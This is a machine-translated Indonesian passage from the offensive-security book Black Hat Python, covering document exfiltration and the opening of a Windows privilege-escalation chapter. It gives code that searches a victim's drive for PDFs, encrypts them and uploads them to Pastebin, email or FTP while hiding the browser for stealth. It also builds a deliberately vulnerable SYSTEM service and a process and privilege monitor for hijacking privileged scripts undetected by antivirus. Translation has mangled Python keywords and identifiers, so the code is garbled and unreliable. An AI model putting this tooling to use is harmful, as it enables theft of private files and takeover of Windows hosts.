elem.setAttribute('nilai', nama pengguna)
elif elem.id == 'kata sandi login':
elem.setAttribute('nilai', kata sandi)

acak_tidur()
jika ie.Dokumen.forms[0].id == 'w0':
yaitu.dokumen.forms[0].submit()
tunggu_untuk_browser(yaitu)

Fungsi login dimulai dengan mengambil semua elemen di DOM 1.


Ini mencari bidang nama pengguna dan kata sandi 2 dan mengaturnya ke kredensial
yang kami berikan (jangan lupa untuk mendaftar akun). Setelah kode ini dijalankan,
Anda harus login ke dashboard Pastebin dan siap untuk menempelkan beberapa
informasi. Mari tambahkan kode itu sekarang:

def submit (yaitu, judul, isi):


full_doc = yaitu.Dokumen.semua
untuk elemen di full_doc:
if elem.id == 'nama-postform':
elem.setAttribute('nilai', judul)

Bersenang-senang dengan Eksfiltrasi 147


Machine Translated by Google

Black Hat Python (Akses Awal) © 2021 oleh Justin Seitz dan Tim Arnold

elif elem.id == 'teks-postform':


elem.setAttribute('nilai', isi)

jika ie.Dokumen.forms[0].id == 'w0':


yaitu.dokumen.forms[0].submit()
acak_tidur()
tunggu_untuk_browser(yaitu)

Tak satu pun dari kode ini yang terlihat sangat baru saat ini. Kami hanya berburu-
melalui DOM untuk menemukan tempat memposting judul dan isi postingan blog. Fungsi kirim
menerima instance browser, serta nama file dan konten file terenkripsi untuk dikirim.

Sekarang kita sudah bisa login dan posting ke Pastebin, mari kita finishing
sentuhan di tempat untuk skrip kami:

def ie_paste(judul, isi):


1 yaitu = klien.Dispatch('InternetExplorer.Application')
2 yaitu.Terlihat = 1

yaitu.Navigate('https://pastebin.com/login')
tunggu_untuk_browser(yaitu)
masuk (yaitu)

yaitu.Navigasi('https://pastebin.com/')
tunggu_untuk_browser(yaitu)
kirim(yaitu, judul, isi.decode())

3 yaitu.Keluar()

jika __nama__ == '__utama__':


ie_paste('judul', 'isi')

Fungsi ie_paste adalah fungsi yang akan kita panggil untuk setiap dokumen yang kita inginkan
simpan di Pastebin. Pertama-tama buatlah instance baru dari objek COM Internet Explorer 1.
Yang rapi adalah Anda dapat mengatur prosesnya agar terlihat atau tidak 2. Untuk debugging,
biarkan diatur ke 1, tetapi untuk siluman maksimum, Anda pasti ingin mengatur ke 0. Ini sangat
berguna jika, misalnya, trojan Anda mendeteksi aktivitas lain yang sedang terjadi; dalam hal ini, Anda
dapat mulai mengeksfiltrasi dokumen, yang mungkin membantu untuk lebih memadukan aktivitas
Anda dengan aktivitas pengguna. Setelah kita memanggil semua fungsi pembantu, kita cukup
mematikan instance Internet Explorer 3 dan kembali.

Menyatukan Semuanya
Terakhir, kita menggabungkan metode eksfiltrasi dengan exfil.py, yang dapat kita panggil untuk
mengeksfiltrasi file menggunakan salah satu metode yang baru saja kita tulis:

1 dari enkripsi impor cryptor, dekripsi


dari prospek impor email_exfil, plain_email

148 Bab 9
Machine Translated by Google

Black Hat Python (Akses Awal) © 2021 oleh Justin Seitz dan Tim Arnold

dari transmit_exfil import plain_ftp, transmisi


dari paste_exfil impor ie_paste, plain_paste

impor mereka

2 EXFIL = {
'pandangan': pandangan,
'email_polos': email_polos,
'plain_ftp': plain_ftp,
'mentransmisikan': mengirimkan,
'ie_paste': yaitu_paste,
'pasta_polos': tempel_polos,
}

Pertama, impor modul dan fungsi yang baru saja Anda tulis 1. Kemudian, buat kamus
bernama EXFIL yang nilainya sesuai dengan fungsi yang diimpor 2. Ini akan membuat pemanggilan
fungsi eksfiltrasi yang berbeda menjadi sangat mudah.
Nilai adalah nama fungsi, karena dalam Python, fungsi adalah warga kelas satu dan dapat
digunakan sebagai parameter. Teknik ini terkadang disebut pengiriman kamus. Ini berfungsi
seperti pernyataan kasus dalam bahasa lain.

Sekarang kita perlu membuat fungsi yang akan menemukan dokumen yang kita inginkan
untuk mengekstraksi:

def temukan_docs(doc_type='.pdf'):
1 untuk induk, nama
_, file di os.walk('c:\\'):
untuk nama file dalam nama file:
jika nama file.berakhir dengan(doc_type):
document_path = os.path.join(induk, nama file)
2 menghasilkan document_path

Generator find_docs menelusuri seluruh sistem file untuk memeriksa dokumen PDF 1. Ketika
menemukannya, ia mengembalikan jalur lengkap dan mengembalikan eksekusi ke pemanggil 2.

Selanjutnya, kita membuat fungsi utama untuk mengatur eksfiltrasi:

1 def exfiltrate (jalur_dokumen, metode):


2 metode if di ['transmit', 'plain_ftp']:
nama file = f'c:\\windows\\temp\\{os.path.basename(document_path)}'
dengan open(document_path, 'rb') sebagai f0:
isi = f0.baca()
dengan open(nama file, 'wb') sebagai f1:
f1.write(enkripsi(isi))

3 EXFIL[metode](nama file)
os.unlink(nama file)
kalau tidak:

4 dengan open(document_path, 'rb') sebagai f:


isi = f.baca()
judul = os.path.nama dasar(jalur_dokumen)
isi = mengenkripsi(isi)
5 EXFIL[metode](judul, isi)

Bersenang-senang dengan Eksfiltrasi 149


Machine Translated by Google

Black Hat Python (Akses Awal) © 2021 oleh Justin Seitz dan Tim Arnold

Kami meneruskan fungsi exfiltrate jalur ke dokumen dan metode eksfiltrasi yang ingin kami gunakan
1. Ketika metode ini melibatkan transfer file (transmit atau plain_ftp), kami perlu menyediakan file

sebenarnya, bukan string yang disandikan. Dalam hal ini, kita membaca file dari sumbernya,
mengenkripsi isinya, dan menulis file baru ke direktori sementara 2. Kita memanggil kamus EXFIL untuk
mengirimkan metode yang sesuai, meneruskan jalur dokumen terenkripsi baru untuk mengeksfiltrasi file
3 dan kemudian hapus file dari direktori sementara.

Untuk metode lainnya, kita tidak perlu menulis file baru; sebagai gantinya, kita hanya perlu
membaca file yang akan dieksfiltrasi 4, mengenkripsi isinya, dan memanggil kamus EXFIL untuk
mengirim email atau menempelkan informasi terenkripsi 5.
Di blok utama, kami mengulangi semua dokumen yang ditemukan. Sebagai pengujian, kami
mengekstraknya melalui metode plain_paste , meskipun Anda dapat memilih salah satu dari enam
fungsi yang kami tetapkan:

jika __nama__ == '__utama__':


untuk fpath di find_docs():
eksfiltrate(fpath, 'plain_paste')

Menendang Ban
Ada banyak bagian yang bergerak pada kode ini, tetapi alat ini cukup mudah digunakan.
Cukup jalankan skrip exfil.py Anda dari sebuah host dan tunggu hingga skrip tersebut menunjukkan
bahwa skrip tersebut telah berhasil mengeksfiltrasi file melalui email, FTP, atau Pastebin.
Jika Anda membiarkan Internet Explorer terlihat saat menjalankan file paste_exfile.
ie_paste fungsi, Anda seharusnya bisa melihat seluruh proses.
Setelah selesai, Anda seharusnya dapat menelusuri halaman Pastebin Anda dan melihat sesuatu seperti
Gambar 9-1.

Gambar 9-1: Data yang dieksfiltrasi dan dienkripsi di Pastebin

150 Bab 9
Machine Translated by Google

Black Hat Python (Akses Awal) © 2021 oleh Justin Seitz dan Tim Arnold

Sempurna! Skrip exfil.py kami mengambil dokumen PDF bernama topo_post.pdf,


mengenkripsi isinya, dan mengunggah isinya ke pastebin.com. Kami berhasil mendekripsi
file dengan mengunduh tempel dan memasukkannya ke fungsi dekripsi, sebagai berikut:

dari dekripsi impor cryptor


1 dengan open('topo_post_pdf.txt', 'rb') sebagai f:
isi = f.baca()
dengan open('newtopo.pdf', 'wb') sebagai f:
2 f.tulis(dekripsi(isi))

Cuplikan kode ini membuka file tempel yang diunduh 1, mendekripsi konten, dan
menulis konten yang didekripsi sebagai file baru 2. Anda kemudian dapat membuka file
baru dengan pembaca PDF untuk melihat peta topografi yang berisi dokumen asli yang
didekripsi peta dari mesin korban.
Anda sekarang memiliki beberapa alat untuk eksfiltrasi di kotak peralatan Anda. Yang
mana yang Anda pilih akan bergantung pada sifat jaringan korban Anda dan tingkat
keamanan yang digunakan pada jaringan tersebut.

Bersenang-senang dengan Eksfiltrasi 151


Machine Translated by Google

Black Hat Python (Akses Awal) © 2021 oleh Justin Seitz dan Tim Arnold
Machine Translated by Google

Black Hat Python (Akses Awal) © 2021 oleh Justin Seitz dan Tim Arnold

10
HAK ISTIMEWA JENDELA
ESKALASI

Jadi, Anda telah memasukkan sebuah kotak ke dalam jaringan


Windows yang bagus dan menarik. Mungkin Anda
memanfaatkan heap overflow jarak jauh, atau Anda melakukan phishing
jalan masuk. Saatnya untuk mulai mencari cara untuk
meningkatkan hak istimewa.
Bahkan jika Anda sudah beroperasi sebagai SISTEM atau Administrator, Anda mungkin
menginginkan beberapa cara untuk mendapatkan hak istimewa tersebut, jika siklus patch mematikan
akses Anda. Penting juga untuk memiliki katalog peningkatan hak istimewa di saku belakang Anda,
karena beberapa perusahaan menjalankan perangkat lunak yang mungkin sulit untuk dianalisis
di lingkungan Anda sendiri, dan Anda mungkin tidak akan menemukan perangkat lunak tersebut
sampai Anda berada di perusahaan yang sama. ukuran atau komposisi yang sama.
Dalam eskalasi hak istimewa yang umum, Anda akan mengeksploitasi driver dengan
kode yang buruk atau masalah kernel Windows asli, namun jika Anda menggunakan
eksploitasi berkualitas rendah atau ada masalah selama eksploitasi, Anda berisiko
menyebabkan ketidakstabilan sistem. Mari kita jelajahi beberapa cara lain untuk memperoleh
hak istimewa yang lebih tinggi di Windows. Administrator sistem di perusahaan besar biasanya
menjadwalkan tugas atau layanan yang menjalankan proses anak, atau menjalankan skrip
VBScript atau PowerShell untuk mengotomatiskan aktivitas. Vendor juga sering
Machine Translated by Google

Black Hat Python (Akses Awal) © 2021 oleh Justin Seitz dan Tim Arnold

memiliki tugas otomatis dan bawaan yang berperilaku sama. Kami akan mencoba memanfaatkan
proses dengan hak istimewa tinggi yang menangani file atau mengeksekusi biner yang
dapat ditulis oleh pengguna dengan hak istimewa rendah. Ada banyak cara bagi Anda untuk
mencoba meningkatkan hak istimewa di Windows, dan kami hanya akan membahas beberapa saja.
Namun, ketika Anda memahami konsep inti ini, Anda dapat memperluas skrip Anda untuk mulai
menjelajahi sudut gelap dan pengap lainnya dari target Windows Anda.

Kita akan mulai dengan mempelajari cara menerapkan pemrograman Windows


Management Instrumentation (WMI) untuk membuat antarmuka fleksibel yang memantau
pembuatan proses baru. Kami akan mengumpulkan data berguna seperti jalur file, pengguna
yang membuat proses, dan hak istimewa yang diaktifkan. Kemudian kami akan menyerahkan
semua jalur file ke skrip pemantauan file yang terus melacak setiap file baru yang dibuat,
serta apa yang ditulis ke dalamnya. Ini memberi tahu kita file mana yang diakses oleh proses
dengan hak istimewa tinggi. Terakhir, kita akan mencegat proses pembuatan file dengan
memasukkan kode skrip kita sendiri ke dalam file dan membuat proses dengan hak istimewa
tinggi mengeksekusi shell perintah. Keunggulan dari keseluruhan proses ini adalah tidak
melibatkan kaitan API apa pun, sehingga kita tidak terdeteksi oleh sebagian besar perangkat
lunak antivirus.

Menginstal Prasyarat
Kita perlu menginstal beberapa perpustakaan untuk menulis perkakas di bab ini.
Jalankan yang berikut ini di shell cmd.exe di Windows:

C:\Users\tim\work> pip install pywin32 wmi pyinstaller

Anda mungkin telah menginstal pyinstaller saat membuat keylogger dan pengambil
tangkapan layar di Bab 8, namun jika belum, instal sekarang (Anda dapat menggunakan pip).
Selanjutnya, kita akan membuat layanan sampel yang akan kita gunakan untuk menguji skrip pemantauan kita.

Membuat Layanan BlackHat yang Rentan


Layanan yang kami buat mengemulasi serangkaian kerentanan yang biasa ditemukan di jaringan
perusahaan besar. Kami akan menyerangnya nanti di bab ini. Layanan ini secara berkala akan
menyalin skrip ke direktori sementara dan menjalankannya dari direktori tersebut. Buka
bhservice.py untuk memulai:

impor mereka
manajer layanan impor
impor tutup
subproses impor
sistem impor

impor win32event
impor layanan win32
impor win32serviceutil

SRCDIR = 'C:\\Pengguna\\tim\\kerja'
TGTDIR = 'C:\\Windows\\TEMP'

154 Bab 10
Machine Translated by Google

Black Hat Python (Akses Awal) © 2021 oleh Justin Seitz dan Tim Arnold

Di sini, kita melakukan impor, mengatur direktori sumber untuk file skrip, dan kemudian
mengatur direktori target tempat layanan akan menjalankannya. Sekarang, kita akan membuat
layanan sebenarnya menggunakan kelas:

kelas BHServerSvc(win32serviceutil.ServiceFramework):
_svc_name_ = "Layanan BlackHat"
_svc_display_name_ = "Layanan Topi Hitam"
_svc_description_ = ("Mengeksekusi VBScript secara berkala." +
"
Apa yang mungkin salah?")

1 def __init__(diri,args):
self.vbs = os.path.join(TGTDIR, 'bhservice_task.vbs')
self.timeout = 1000 * 60

win32serviceutil.ServiceFramework.__init__(mandiri, argumen)
self.hWaitStop = win32event.CreateEvent(Tidak Ada, 0, 0, Tidak Ada)

2 def SvcStop(mandiri):
mandiri.ReportServiceStatus(win32service.SERVICE_STOP_PENDING)
win32event.SetEvent(self.hWaitStop)

3 def SvcDoRun(mandiri):
mandiri.ReportServiceStatus(win32service.SERVICE_RUNNING)
mandiri.utama()

Kelas ini adalah kerangka dari apa yang harus disediakan oleh layanan apa pun. Ini
mewarisi dari win32serviceutil.ServiceFramework dan mendefinisikan tiga metode.
Dalam metode __init__ , kita menginisialisasi kerangka kerja, menentukan lokasi skrip yang
akan dijalankan, menetapkan batas waktu satu menit, dan membuat objek acara 1.
Dalam metode SvcStop , kita mengatur status layanan dan menghentikan layanan 2.
Dalam metode SvcDoRun , kami memulai layanan dan memanggil metode utama di mana
tugas kami akan dijalankan 3. Kami mendefinisikan metode utama ini selanjutnya:

def utama(diri):
1 sementara Benar:
ret_code = win32event.WaitForSingleObject(
self.hWaitStop, self.timeout)
2 jika ret_code == win32event.WAIT_OBJECT_0:
servicemanager.LogInfoMsg("Layanan berhenti")
merusak

src = os.path.join(SRCDIR, 'bhservice_task.vbs')


shutil.copy(src, self.vbs)
3 subproses.panggilan("cscript.exe %s" % self.vbs, shell=False)
os.unlink(self.vbs)

Secara utama, kami menyiapkan loop 1 yang berjalan setiap menit, karena self.timeout
parameter, hingga layanan menerima sinyal berhenti 2. Saat sedang berjalan, kami menyalin
file skrip ke direktori target, menjalankan skrip, dan menghapus file 3.

Di blok utama, kami menangani argumen baris perintah apa pun:

jika __nama__ == '__utama__':


jika len(sys.argv) == 1:

Peningkatan Hak Istimewa Windows 155


Machine Translated by Google

Black Hat Python (Akses Awal) © 2021 oleh Justin Seitz dan Tim Arnold

manajer layanan.Inisialisasi()
manajer layanan.PrepareToHostSingle(BHServerSvc)
manajer layanan.StartServiceCtrlDispatcher()
kalau tidak:

win32serviceutil.HandleCommandLine(BHServerSvc)

Terkadang Anda mungkin ingin membuat layanan nyata pada mesin korban.
Kerangka kerangka ini memberi Anda garis besar tentang cara menyusunnya.
Anda dapat menemukan skrip bhservice_tasks.vbs di https:// nostarch.com/ black-hat
-python2E/. Tempatkan file di direktori dengan bhservice.py dan ubah SRCDIR untuk menunjuk ke
direktori ini. Direktori Anda akan terlihat seperti ini:

22/06/2020 09:02 <ANDA> .


22/06/2020 09:02 <ANDA> ..
22/06/2020 11:26 2.099bhservice.py
22/06/2020 11:08 2.501 bhservice_task.vbs

Sekarang buat layanan yang dapat dieksekusi dengan pyinstaller:

C:\Pengguna\tim\kerja> pyinstaller -F --hiddenimport win32timezone bhservice.py

Perintah ini menyimpan file bservice.exe di subdirektori dist . Ayo


ubah ke direktori itu untuk menginstal layanan dan memulainya. Sebagai Administrator,
jalankan perintah ini:

C:\Users\tim\work\dist> instalasi bhservice.exe


C:\Users\tim\work\dist> bhservice.exe mulai

Sekarang, setiap menit, layanan akan menulis file skrip ke direktori sementara, menjalankan skrip,
dan menghapus file. Ini akan melakukan ini sampai Anda menjalankan perintah stop:

C:\Users\tim\work\dist> bhservice.exe berhenti

Anda dapat memulai atau menghentikan layanan sebanyak yang Anda suka. Ingatlah bahwa
jika Anda mengubah kode di bhservice.py, Anda juga harus membuat executable baru dengan
pyinstaller dan meminta Windows memuat ulang layanan dengan perintah bhservice update . Ketika
Anda sudah selesai bermain-main dengan layanan dalam bab ini, hapus layanan tersebut dengan
bhservice delete.
Anda sebaiknya pergi. Sekarang mari kita lanjutkan ke bagian yang menyenangkan!

Membuat Monitor Proses


Beberapa tahun yang lalu, Justin, salah satu penulis buku ini, berkontribusi pada El Jefe, sebuah
proyek dari penyedia keamanan Immunity. Pada intinya, El Jefe adalah sistem pemantauan proses yang
sangat sederhana. Alat ini dirancang untuk membantu orang-orang di tim defensif melacak pembuatan
proses dan pemasangan malware.

156 Bab 10
Machine Translated by Google

Black Hat Python (Akses Awal) © 2021 oleh Justin Seitz dan Tim Arnold

Saat berkonsultasi suatu hari, rekan kerjanya Mark Wuergler menyarankan agar mereka
menggunakan El Jefe secara ofensif: dengan itu, mereka dapat memantau proses yang dijalankan
sebagai SISTEM pada mesin Windows target. Hal ini akan memberikan wawasan tentang penanganan
file yang berpotensi tidak aman atau pembuatan proses anak. Itu berhasil, dan mereka pergi dengan
banyak bug peningkatan hak istimewa, memberi mereka kunci kerajaan.

Kelemahan utama dari El Jefe asli adalah ia menggunakan DLL, yang dimasukkan ke dalam
setiap proses, untuk mencegat panggilan ke CreateProcess asli.
fungsi. Kemudian menggunakan pipa bernama untuk berkomunikasi dengan klien koleksi, yang
meneruskan rincian pembuatan proses ke server logging. Sayangnya, sebagian besar software antivirus
juga mengaitkan CreateProcess
panggilan, jadi mereka menganggap Anda sebagai malware atau Anda mengalami masalah ketidakstabilan
sistem saat menjalankan El Jefe berdampingan dengan perangkat lunak antivirus.
Kami akan menciptakan kembali beberapa kemampuan pemantauan El Jefe tanpa kaitan,
mengarahkannya ke teknik ofensif. Ini akan menjadikan pemantauan kami portabel dan memberi
kami kemampuan untuk menjalankannya bersama perangkat lunak antivirus tanpa masalah.

Pemantauan Proses dengan WMI


API Windows Management Instrumentation (WMI) memberi pemrogram kemampuan untuk memantau
sistem untuk kejadian tertentu dan kemudian menerima panggilan balik saat kejadian tersebut terjadi.
Kami akan memanfaatkan antarmuka ini untuk menerima panggilan balik setiap kali proses dibuat
dan kemudian mencatat beberapa informasi berharga: waktu proses dibuat, pengguna yang menjalankan
proses, file executable yang diluncurkan dan argumen baris perintahnya, ID proses, dan ID proses
induk. Ini akan menunjukkan kepada kita proses apa pun yang dibuat oleh akun dengan hak istimewa
lebih tinggi, dan khususnya, proses apa pun yang memanggil file eksternal, seperti VBScript atau skrip
batch. Ketika kami memiliki semua informasi ini, kami juga akan menentukan hak istimewa yang
diaktifkan pada token proses. Dalam kasus tertentu yang jarang terjadi, Anda akan menemukan proses
yang dibuat sebagai pengguna biasa namun telah diberikan hak istimewa Windows tambahan yang
dapat Anda manfaatkan.

Mari kita mulai dengan menulis skrip pemantauan yang sangat sederhana yang menyediakan
informasi proses dasar dan kemudian mengembangkannya untuk menentukan hak istimewa yang
diaktifkan.1 Perhatikan bahwa untuk menangkap informasi tentang proses hak istimewa tinggi yang
dibuat oleh SYSTEM, misalnya, Anda memerlukan untuk menjalankan skrip pemantauan Anda sebagai
Administrator. Mulailah dengan menambahkan kode berikut ke process_
monitor.py:

impor mereka
sistem impor
impor win32api
impor win32con
impor keamanan win32
impor wmi

1. Kode ini diadaptasi dari halaman Python WMI (http:// timgolden.me.uk/ python/ wmi/
tutorial.html).

Peningkatan Hak Istimewa Windows 157


Machine Translated by Google

Black Hat Python (Akses Awal) © 2021 oleh Justin Seitz dan Tim Arnold

def log_to_file(pesan):
dengan open('process_monitor_log.csv', 'a') sebagai
fd: fd.write(f'{message}\r\n')

def monitor(): head


= 'CommandLine, Time, Executable, PID Induk, PID, Pengguna, Hak Istimewa' log_to_file(head) 1 c =
wmi.WMI() 2
process_watcher =
c.Win32_Process.watch_for('creation') while True :

coba: 3 proses_baru = proses_pengamat()


cmdline = new_process.CommandLine
create_date = new_process.CreationDate
executable = new_process.ExecutablePath
parent_pid = new_process.ParentProcessId
pid = new_process.ProcessId
4 proc_owner = new_process.GetOwner()

hak istimewa = 'T/A'


process_log_message = (
f'{cmdline} , {create_date} , {executable},'
f'{parent_pid} , {pid} , {proc_owner} , {privileges}' )

cetak(proses_log_pesan) cetak()

log_to_file(proses_log_pesan) kecuali
Pengecualian: lulus

jika __nama__ == '__main__':


monitor()

Kita mulai dengan membuat instance WMI kelas 1 dan memerintahkannya untuk
memperhatikan kejadian pembuatan proses 2. Kita kemudian memasukkan loop, yang
memblokir hingga process_watcher mengembalikan kejadian proses baru 3. Kejadian
proses baru adalah kelas WMI bernama Win32_Process yang berisi semua informasi
relevan yang kami cari.2 Salah satu fungsi kelas adalah GetOwner, yang kami panggil 4
untuk menentukan siapa yang memulai proses tersebut. Kami mengumpulkan semua
informasi proses yang kami cari, menampilkannya di layar, dan mencatatnya ke dalam file.

Menendang Ban
Mari jalankan skrip pemantauan proses dan buat beberapa proses untuk melihat seperti apa
hasilnya:

C:\Users\tim\work>python process_monitor.py "Calculator.exe",


20200624083538.964492-240
C:\Program ,
Files\WindowsApps\Microsoft.WindowsCalculator\Calculator.exe, 1204
,

2. Dokumentasi kelas Win32_Process : http:// msdn.microsoft.com/ en-us/ library/ aa394372(v=vs.85).aspx

158 Bab 10
Machine Translated by Google

Black Hat Python (Akses Awal) © 2021 oleh Justin Seitz dan Tim Arnold

10312 ,
('DESKTOP-CC91N7I', 0, 'tim') ,
T/A

buku catatan,
20200624083340.325593-240 C: ,
\Windows\system32\notepad.exe,
13184 ,
12788 ,
('DESKTOP-CC91N7I', 0, 'tim'),
T/A

Setelah menjalankan skrip, kami menjalankan notepad.exe dan calc.exe. Seperti yang Anda
lihat, alat ini mengeluarkan informasi proses ini dengan benar. Anda sekarang dapat beristirahat lebih
lama, membiarkan skrip ini berjalan selama sehari, dan mencatat semua proses yang berjalan, tugas
terjadwal, dan berbagai pembaruan perangkat lunak. Anda mungkin menemukan malware jika Anda
(tidak) beruntung. Masuk dan keluar dari sistem juga berguna, karena peristiwa yang dihasilkan dari
tindakan ini dapat menunjukkan proses yang memiliki hak istimewa.
Sekarang kita sudah memiliki pemantauan proses dasar, mari isi kolom hak istimewa di logging
kita. Namun pertama-tama, Anda harus mempelajari sedikit tentang cara kerja hak istimewa
Windows dan mengapa hak tersebut penting.

Hak Istimewa Token Windows


Token Windows, menurut Microsoft, adalah “sebuah objek yang menggambarkan konteks keamanan
suatu proses atau thread.”3 Dengan kata lain, izin dan hak istimewa token menentukan tugas mana
yang dapat dilakukan oleh suatu proses atau thread.
Kesalahpahaman terhadap token ini dapat membuat Anda mendapat masalah. Sebagai
bagian dari produk keamanan, pengembang yang bermaksud baik mungkin membuat aplikasi
baki sistem di mana mereka ingin memberikan pengguna yang tidak memiliki hak istimewa
kemampuan untuk mengontrol layanan utama Windows, yaitu driver. Pengembang menggunakan
fungsi API Windows asli AdjustTokenPrivileges pada prosesnya dan kemudian, dengan polosnya,
memberikan hak istimewa SeLoadDriver kepada aplikasi baki sistem. Apa yang tidak diperhatikan
oleh pengembang adalah jika Anda dapat masuk ke dalam aplikasi baki sistem tersebut, Anda
sekarang memiliki kemampuan untuk memuat atau membongkar driver apa pun yang Anda inginkan,
yang berarti Anda dapat melepaskan rootkit mode kernel—dan itu berarti permainan berakhir.

Ingatlah bahwa jika Anda tidak dapat menjalankan monitor proses sebagai SISTEM atau pengguna
administratif, maka Anda perlu mengawasi proses apa yang dapat Anda pantau . Apakah ada hak
istimewa tambahan yang dapat Anda manfaatkan? Sebuah proses yang berjalan sebagai pengguna
dengan hak istimewa yang salah adalah cara yang fantastis untuk masuk ke SISTEM atau menjalankan
kode di kernel. Tabel 10-1 mencantumkan keistimewaan menarik yang selalu dinantikan oleh penulis.
Ini tidak menyeluruh, namun berfungsi sebagai titik awal yang baik.4

3. MSDN: “Token Akses”: http:// msdn.microsoft.com/ en-us/ library/ Aa374909.aspx

4. Untuk daftar lengkap hak istimewa, kunjungi http:// msdn.microsoft.com/ en-us/ library/ windows/ desktop/
bb530716(v=vs.85).aspx.

Peningkatan Hak Istimewa Windows 159


Machine Translated by Google

Black Hat Python (Akses Awal) © 2021 oleh Justin Seitz dan Tim Arnold

Tabel 10-1: Keistimewaan yang Menarik

Nama hak Akses yang diberikan

istimewa SeBackupPrivilege Ini memungkinkan proses pengguna untuk mencadangkan file


dan direktori, dan memberikan akses BACA ke file apa pun yang
ditentukan oleh daftar kontrol akses (ACL).

SeDebugPrivilege Ini memungkinkan proses pengguna untuk men-debug proses lain. Ini juga mencakup
mendapatkan pegangan proses untuk memasukkan DLL atau kode ke dalam
proses yang sedang berjalan.
SeLoadDriver Hal ini memungkinkan proses pengguna untuk memuat atau membongkar driver.

Sekarang setelah Anda mengetahui hak istimewa mana yang harus dicari, mari manfaatkan Python
secara otomatis mengambil hak istimewa yang diaktifkan pada proses yang kami pantau. Kami
akan menggunakan modul win32security, win32api, dan win32con .
Jika Anda menghadapi situasi di mana Anda tidak dapat memuat modul ini, coba terjemahkan semua
fungsi berikut ke dalam panggilan asli menggunakan pustaka ctypes .
Hal ini mungkin terjadi, meskipun memerlukan lebih banyak pekerjaan.
Tambahkan kode berikut ke process_monitor.py tepat di atas fungsi log_to_file yang ada :

def get_process_privileges(pid):
mencoba:

hproc = win32api.OpenProcess( 1
win32con.PROCESS_QUERY_INFORMATION, Salah, pid
)
htok = win32security.OpenProcessToken(hproc, win32con.TOKEN_QUERY) 2
privs = win32security.GetTokenInformasi( 3
htok,win32security.Keistimewaan Token
)
''
hak istimewa =
untuk priv_id, tandai di privs:
jika bendera == (win32security.SE_PRIVILEGE_ENABLED | 4
win32security.SE_PRIVILEGE_ENABLED_BY_DEFAULT):
hak istimewa += f'{win32security.LookupPrivilegeName(Tidak ada, priv_id)}|' 5
kecuali Pengecualian:
hak istimewa = 'T/A'

mengembalikan hak istimewa

Kami menggunakan ID proses untuk mendapatkan pegangan ke proses target 1. Selanjutnya, kami
membuka token proses 2 dan meminta informasi token untuk proses 3 tersebut dengan mengirimkan
struktur win32security.TokenPrivileges . Pemanggilan fungsi mengembalikan daftar tupel, dengan
anggota pertama tupel adalah hak istimewa dan anggota kedua menjelaskan apakah hak istimewa
diaktifkan atau tidak. Karena kami hanya mementingkan bit yang diaktifkan, pertama-tama kami
memeriksa bit 4 yang diaktifkan dan kemudian mencari nama yang dapat dibaca manusia untuk hak
istimewa 5 tersebut.

Selanjutnya, ubah kode yang ada untuk menampilkan dan mencatat informasi ini dengan benar.
Ubah baris kode

hak istimewa = "T/A"

160 Bab 10
Machine Translated by Google

Black Hat Python (Akses Awal) © 2021 oleh Justin Seitz dan Tim Arnold

sebagai berikut:

hak istimewa = get_process_privileges(pid)

Sekarang kita telah menambahkan kode pelacakan hak istimewa, mari jalankan kembali
skrip process_monitor.py dan periksa hasilnya. Anda akan melihat informasi hak istimewa:

C:\Users\tim\work> python.exe proses_monitor.py


"Kalkulator.exe",
20200624084445.120519-240 C: ,
\Program Files\WindowsApps\Microsoft.WindowsCalculator\Calculator.exe,
1204 ,
13116 ,
('DESKTOP-CC91N7I', 0, 'tim'),
SeChangeNotifyPrivilege|

buku catatan,
20200624084436.727998-240 C: ,
\Windows\system32\notepad.exe,
10720 ,
2732 ,
('DESKTOP-CC91N7I', 0, 'tim') ,
SeChangeNotifyPrivilege|SeImpersonatePrivilege|SeCreateGlobalPrivilege|

Anda dapat melihat bahwa kami telah berhasil mencatat hak istimewa yang diaktifkan untuk proses ini.
Sekarang kita dapat dengan mudah memasukkan beberapa kecerdasan ke dalam skrip untuk hanya mencatat
proses yang dijalankan sebagai pengguna yang tidak memiliki hak istimewa tetapi memiliki hak istimewa
yang menarik yang diaktifkan. Penggunaan pemantauan proses ini akan membuat kita menemukan proses yang
bergantung pada file eksternal secara tidak aman.

Memenangkan Perlombaan

Skrip batch, VBScript, dan PowerShell membuat hidup administrator sistem lebih mudah
dengan mengotomatiskan tugas-tugas yang membosankan. Mereka mungkin terus
mendaftar ke layanan inventaris pusat, misalnya, atau memaksa pembaruan perangkat
lunak dari repositori mereka sendiri. Salah satu masalah umum adalah kurangnya
kontrol akses yang tepat pada file skrip ini. Dalam beberapa kasus, pada server yang
aman, kami menemukan skrip batch atau PowerShell yang dijalankan sekali sehari oleh
pengguna SISTEM dan dapat ditulis secara global oleh pengguna mana pun.
Jika Anda menjalankan monitor proses cukup lama di suatu perusahaan (atau
Anda cukup menginstal layanan sampel yang disediakan di awal bab ini), Anda mungkin
melihat rekaman proses yang terlihat seperti ini:

20200624102235.287541-240 ,
wscript.exe C:\Windows\TEMP\bhservice_task.vbs, C:\Windows\
SysWOW64\wscript.exe,2828 , ,17516
('NT AUTHORITY', 0, 'SYSTEM') , SeLockMemoryPrivilege|SeTcb
Hak Istimewa|Lihat Hak Istimewa Profil Sistem | Lihat Hak Istimewa Proses Tunggal Profil | Lihat Hak Istimewa Prioritas Basis Peningkatan
ege|SeCreatePagefilePrivilege|SeCreatePermanentPrivilege|SeDebugPrivilege|SeAuditPrivilege|SeCh
angeNotifyPrivilege|SeImpersonatePrivilege|SeCreateGlobalPrivilege|SeIncreaseWorkingSetPrivilege
e|SeTimeZonePrivilege|SeCreateSymbolicLinkPrivilege|SeDelegateSessionUserImpersonatePrivilege|

Peningkatan Hak Istimewa Windows 161


Machine Translated by Google

Black Hat Python (Akses Awal) © 2021 oleh Justin Seitz dan Tim Arnold

Anda dapat melihat bahwa proses SYSTEM telah menghasilkan biner wscript.exe
dan meneruskan parameter C:\WINDOWS\TEMP\bhservice_task.vbs . Contoh bhservice
yang Anda buat di awal bab harus menghasilkan kejadian ini satu kali per menit.

Namun jika Anda mencantumkan isi direktori, Anda tidak akan melihat file ini ada.
Ini karena layanan membuat file yang berisi VBScript dan kemudian mengeksekusi dan
menghapus VBScript tersebut. Kami telah melihat tindakan ini dilakukan oleh perangkat
lunak komersial dalam beberapa kasus; sering kali, perangkat lunak membuat file di lokasi
sementara, menulis perintah ke dalam file, mengeksekusi file program yang dihasilkan,
dan kemudian menghapus file tersebut.
Untuk memanfaatkan kondisi ini, kita harus memenangkan perlombaan
melawan kode pelaksana secara efektif. Saat perangkat lunak atau tugas terjadwal
